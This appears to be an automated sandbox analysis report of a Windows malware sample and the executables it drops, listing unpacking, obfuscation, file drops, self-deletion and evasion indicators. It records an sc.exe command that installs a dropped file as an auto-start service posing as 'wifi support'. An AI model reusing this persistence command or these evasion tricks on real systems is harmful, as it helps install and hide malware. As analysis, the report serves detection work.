Jump to behavior

Source: JV4ILFxpDY.exe

Static PE information: More than 200 imports for KERNEL32.dll

Source: JV4ILFxpDY.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: JV4ILFxpDY.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: JV4ILFxpDY.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: JV4ILFxpDY.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: JV4ILFxpDY.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: JV4ILFxpDY.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: JV4ILFxpDY.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: profapi.pdb source: WerFault.exe, 00000017.00000003.393680200.0000000005716000.00000004.00000040.sdmp
Source:	Binary string: 8C:\pedaxopuw.pdbh source: D675.exe, 00000019.00000000.386978389.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: C:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: 7C86.exe, 00000011.00000000.378885268.0000000000413000.00000002.00020000.sdmp, 7C86.exe, 00000011.00000000.371173430.0000000000413000.00000002.00020000.sdmp, WerFault.exe, 00000017.00000002.419541174.0000000005630000.00000002.00020000.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000017.00000003.393659790.0000000005741000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000017.00000003.387867064.0000000005328000.00000004.00000001.sdmp, WerFault.exe, 00000017.00000003.393659790.0000000005741000.00000004.00000001.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000017.00000003.393669536.0000000005710000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000017.00000003.393659790.0000000005741000.00000004.00000001.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000017.00000003.393659790.0000000005741000.00000004.00000001.sdmp
Source:	Binary string: C:\jixesu11\seyaruvefuf-razasutiwas65\bizi nuxuli39-jesi.pdbh source: 8939.exe, 00000015.00000000.378424582.0000000000401000.00000020.00020000.sdmp, 8939.exe, 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, 8939.exe, 00000018.00000000.382588155.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000017.00000003.393669536.0000000005710000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000017.00000003.393659790.0000000005741000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdbk source: WerFault.exe, 00000017.00000003.393669536.0000000005710000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000017.00000003.393680200.0000000005716000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000017.00000003.393680200.0000000005716000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdbk source: WerFault.exe, 00000017.00000003.393669536.0000000005710000.00000004.00000040.sdmp
Source:	Binary string: C:\goju-vilobotabudud89.pdb source: JV4ILFxpDY.exe, JV4ILFxpDY.exe, 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, JV4ILFxpDY.exe, 00000000.00000000.271656833.0000000000401000.00000020.00020000.sdmp, JV4ILFxpDY.exe, 00000002.00000000.274282785.0000000000401000.00000020.00020000.sdmp, jhewjjt, 0000000E.00000000.362094196.0000000000401000.00000020.00020000.sdmp, jhewjjt, 0000000E.00000002.370117692.0000000000401000.00000020.00020000.sdmp, jhewjjt, 0000000F.00000000.365615312.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000017.00000003.393659790.0000000005741000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000017.00000003.393680200.0000000005716000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb< source: WerFault.exe, 00000017.00000003.393680200.0000000005716000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000017.00000003.393659790.0000000005741000.00000004.00000001.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000017.00000003.393669536.0000000005710000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000017.00000003.393680200.0000000005716000.00000004.00000040.sdmp
Source:	Binary string: C:\pedaxopuw.pdb source: D675.exe, 00000019.00000000.386978389.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: msvcr100.i386.pdb source: WerFault.exe, 00000017.00000003.393669536.0000000005710000.00000004.00000040.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000017.00000003.393680200.0000000005716000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000017.00000003.393659790.0000000005741000.00000004.00000001.sdmp
Source:	Binary string: @C:\goju-vilobotabudud89.pdbh source: JV4ILFxpDY.exe, 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, JV4ILFxpDY.exe, 00000000.00000000.271656833.0000000000401000.00000020.00020000.sdmp, JV4ILFxpDY.exe, 00000002.00000000.274282785.0000000000401000.00000020.00020000.sdmp, jhewjjt, 0000000E.00000000.362094196.0000000000401000.00000020.00020000.sdmp, jhewjjt, 0000000E.00000002.370117692.0000000000401000.00000020.00020000.sdmp, jhewjjt, 0000000F.00000000.365615312.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000017.00000003.393669536.0000000005710000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000017.00000003.393659790.0000000005741000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000017.00000003.393669536.0000000005710000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdbk source: WerFault.exe, 00000017.00000003.393669536.0000000005710000.00000004.00000040.sdmp
Source:	Binary string: C:\jixesu11\seyaruvefuf-razasutiwas65\bizi nuxuli39-jesi.pdb source: 8939.exe, 8939.exe, 00000015.00000000.378424582.0000000000401000.00000020.00020000.sdmp, 8939.exe, 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, 8939.exe, 00000018.00000000.382588155.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000017.00000003.393680200.0000000005716000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000017.00000003.393680200.0000000005716000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000017.00000003.393669536.0000000005710000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000017.00000003.393680200.0000000005716000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000017.00000003.393659790.0000000005741000.00000004.00000001.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000017.00000003.393669536.0000000005710000.00000004.00000040.sdmp
Source:	Binary string: C:\wejunipud\recimoka.pdb source: 85ED.exe, 0000001A.00000000.394794436.0000000000401000.00000020.00020000.sdmp, 85ED.exe, 0000001A.00000002.436846782.0000000000832000.00000004.00000001.sdmp
Source:	Binary string: C:\wejunipud\recimoka.pdbh source: 85ED.exe, 0000001A.00000000.394794436.0000000000401000.00000020.00020000.sdmp, 85ED.exe, 0000001A.00000002.436846782.0000000000832000.00000004.00000001.sdmp
Source:	Binary string: shcore.pdb0 source: WerFault.exe, 00000017.00000003.393680200.0000000005716000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000017.00000003.393659790.0000000005741000.00000004.00000001.sdmp
Source:	Binary string: combase.pdb" source: WerFault.exe, 00000017.00000003.393680200.0000000005716000.00000004.00000040.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000017.00000003.393659790.0000000005741000.00000004.00000001.sdmp
Source:	Binary string: <wJC:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: 7C86.exe, 00000011.00000000.378885268.0000000000413000.00000002.00020000.sdmp, 7C86.exe, 00000011.00000000.371173430.0000000000413000.00000002.00020000.sdmp, WerFault.exe, 00000017.00000002.419541174.0000000005630000.00000002.00020000.sdmp

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\D675.exe	Unpacked PE file: 25.2.D675.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Unpacked PE file: 26.2.85ED.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\AppData\Local\Temp\D675.exe	Unpacked PE file: 25.2.D675.exe.400000.0.unpack .text:ER;.data:W;.tegog:W;.jat:W;.vudit:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Unpacked PE file: 26.2.85ED.exe.400000.0.unpack .text:ER;.data:W;.wager:W;.pevojok:W;.hovefup:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

.NET source code contains method to dynamically call methods (often used by packers)

Show sources

Source: 8DFC.exe.10.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 27.0.8DFC.exe.8d0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 27.2.8DFC.exe.8d0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 27.0.8DFC.exe.8d0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 27.0.8DFC.exe.8d0000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })

Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 0_2_00643634 push es; iretd	0_2_00643640
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 2_2_00401880 push esi; iretd	2_2_00401893
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 2_2_00402E94 push es; iretd	2_2_00402EA0
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 2_1_00402E94 push es; iretd	2_1_00402EA0
Source: C:\Users\user\AppData\Roaming\jhewjjt	Code function: 14_2_00573634 push es; iretd	14_2_00573640
Source: C:\Users\user\AppData\Roaming\jhewjjt	Code function: 15_2_00401880 push esi; iretd	15_2_00401893
Source: C:\Users\user\AppData\Roaming\jhewjjt	Code function: 15_2_00402E94 push es; iretd	15_2_00402EA0
Source: C:\Users\user\AppData\Roaming\jhewjjt	Code function: 15_1_00402E94 push es; iretd	15_1_00402EA0
Source: C:\Users\user\AppData\Local\Temp\7C86.exe	Code function: 17_2_00412CA4 push eax; ret	17_2_00412CC2
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: 21_2_0043C8DC push esi; retn 0043h	21_2_0043C8DD
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: 21_2_0043DB58 push es; retf	21_2_0043DB59
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: 21_2_00573634 push es; iretd	21_2_00573640
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: 21_2_00789640 push esi; ret	21_2_007896BB
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: 21_2_007896A5 push esi; ret	21_2_007896BB
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: 24_2_00401880 push esi; iretd	24_2_00401893
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: 24_2_00402E94 push es; iretd	24_2_00402EA0
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_004139B0 push eax; ret	25_2_004139DE
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00593C00 push eax; ret	25_2_00593C2E
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Code function: 26_2_00417CCF push cs; retf	26_2_00417CFA
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Code function: 26_2_004185D5 push cs; retf	26_2_004185D6
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Code function: 26_2_00417E5F push esp; iretd	26_2_00417E63
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Code function: 26_2_00417612 push edx; retf	26_2_0041763A
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Code function: 26_2_008270C4 push 0000002Bh; iretd	26_2_008270CA
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Code function: 26_2_008248CE push ds; ret	26_2_008248CF
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Code function: 27_2_008D8508 push 00000028h; retf 0000h	27_2_008D850D
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Code function: 27_2_008D764A push esp; ret	27_2_008D764B
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Code function: 27_2_02D74003 push esi; retf	27_2_02D7400F
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Code function: 27_2_0522D4EA push esp; iretd	27_2_0522D4F1
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Code function: 27_2_0522CF38 pushad ; retf	27_2_0522CF39
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Code function: 27_2_0522CF78 pushfd ; retf	27_2_0522CF79

Source: C:\Users\user\Desktop\JV4ILFxpDY.exe

Code function: 0_2_0042D820 LoadLibraryW,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,

0_2_0042D820

Source: 8DFC.exe.10.dr

Static PE information: 0xA22A793F [Sun Mar 19 11:55:43 2056 UTC]

Source: JV4ILFxpDY.exe	Static PE information: section name: .diw
Source: JV4ILFxpDY.exe	Static PE information: section name: .dekezuc
Source: JV4ILFxpDY.exe	Static PE information: section name: .vop
Source: E812.exe.10.dr	Static PE information: section name: .gizi
Source: E812.exe.10.dr	Static PE information: section name: .bur
Source: E812.exe.10.dr	Static PE information: section name: .wob
Source: F10C.exe.10.dr	Static PE information: section name: .code
Source: 754.exe.10.dr	Static PE information: section name:
Source: 754.exe.10.dr	Static PE information: section name:
Source: 754.exe.10.dr	Static PE information: section name:
Source: 754.exe.10.dr	Static PE information: section name:
Source: 754.exe.10.dr	Static PE information: section name:
Source: 754.exe.10.dr	Static PE information: section name:
Source: 754.exe.10.dr	Static PE information: section name: .T3QbYgM
Source: 754.exe.10.dr	Static PE information: section name: .adata
Source: 8939.exe.10.dr	Static PE information: section name: .fawed
Source: 8939.exe.10.dr	Static PE information: section name: .piwo
Source: 8939.exe.10.dr	Static PE information: section name: .rema
Source: D675.exe.10.dr	Static PE information: section name: .tegog
Source: D675.exe.10.dr	Static PE information: section name: .jat
Source: D675.exe.10.dr	Static PE information: section name: .vudit
Source: 85ED.exe.10.dr	Static PE information: section name: .wager
Source: 85ED.exe.10.dr	Static PE information: section name: .pevojok
Source: 85ED.exe.10.dr	Static PE information: section name: .hovefup
Source: 259C.exe.10.dr	Static PE information: section name: .didata
Source: 36D4.exe.10.dr	Static PE information: section name: .code
Source: jhewjjt.10.dr	Static PE information: section name: .diw
Source: jhewjjt.10.dr	Static PE information: section name: .dekezuc
Source: jhewjjt.10.dr	Static PE information: section name: .vop
Source: exmrkmjs.exe.26.dr	Static PE information: section name: .wager
Source: exmrkmjs.exe.26.dr	Static PE information: section name: .pevojok
Source: exmrkmjs.exe.26.dr	Static PE information: section name: .hovefup

Source: initial sample

Static PE information: section where entry point is pointing to: .didata

Source: 8DFC.exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x9011f
Source: F10C.exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x5e577
Source: 36D4.exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x5a2d0
Source: 754.exe.10.dr	Static PE information: real checksum: 0x361362 should be: 0x3775f1

Source: initial sample	Static PE information: section name: .text entropy: 6.96275240537
Source: initial sample	Static PE information: section name: .text entropy: 7.2566886804
Source: initial sample	Static PE information: section name: entropy: 7.9969707961
Source: initial sample	Static PE information: section name: entropy: 7.91194455639
Source: initial sample	Static PE information: section name: .rsrc entropy: 7.22501727341
Source: initial sample	Static PE information: section name: .T3QbYgM entropy: 7.91938761659
Source: initial sample	Static PE information: section name: .text entropy: 6.95971902288
Source: initial sample	Static PE information: section name: .text entropy: 6.98120648148
Source: initial sample	Static PE information: section name: .text entropy: 6.96140387737
Source: initial sample	Static PE information: section name: .didata entropy: 7.99713235918
Source: initial sample	Static PE information: section name: .text entropy: 6.96275240537
Source: initial sample	Static PE information: section name: .text entropy: 6.96140387737

Source: 8DFC.exe.10.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 8DFC.exe.10.dr, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 27.0.8DFC.exe.8d0000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 27.0.8DFC.exe.8d0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 27.2.8DFC.exe.8d0000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 27.2.8DFC.exe.8d0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 27.0.8DFC.exe.8d0000.1.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 27.0.8DFC.exe.8d0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 27.0.8DFC.exe.8d0000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 27.0.8DFC.exe.8d0000.2.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\jhewjjt

Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\36D4.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\7C86.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\F10C.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\E812.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\jhewjjt	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\85ED.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\259C.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\1530.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	File created: C:\Users\user\AppData\Local\Temp\exmrkmjs.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\SysWOW64\rdxbevsp\exmrkmjs.exe (copy)	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\8DFC.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\754.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D489.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D675.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\8939.exe	Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Windows\SysWOW64\rdxbevsp\exmrkmjs.exe (copy)

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\85ED.exe

Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\SysWOW64\sc.exe" create rdxbevsp binPath= "C:\Windows\SysWOW64\rdxbevsp\exmrkmjs.exe /d\"C:\Users\user\AppData\Local\Temp\85ED.exe\"" type= own start= auto DisplayName= "wifi support

Source: C:\Users\user\AppData\Local\Temp\85ED.exe

26_2_00409A6B

Hooking and other Techniques for Hiding and Protection:

Deletes itself after installation

Show sources

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\jv4ilfxpdy.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\jhewjjt:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D675.exe

Code function: 25_2_0040C2E0 DosDateTimeToFileTime,DosDateTimeToFileTime,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,FindAtomW,FindAtomW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,

25_2_0040C2E0

Source: C:\Windows\SysWOW64\WerFault.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process information set: NOOPENFILEERRORBOX
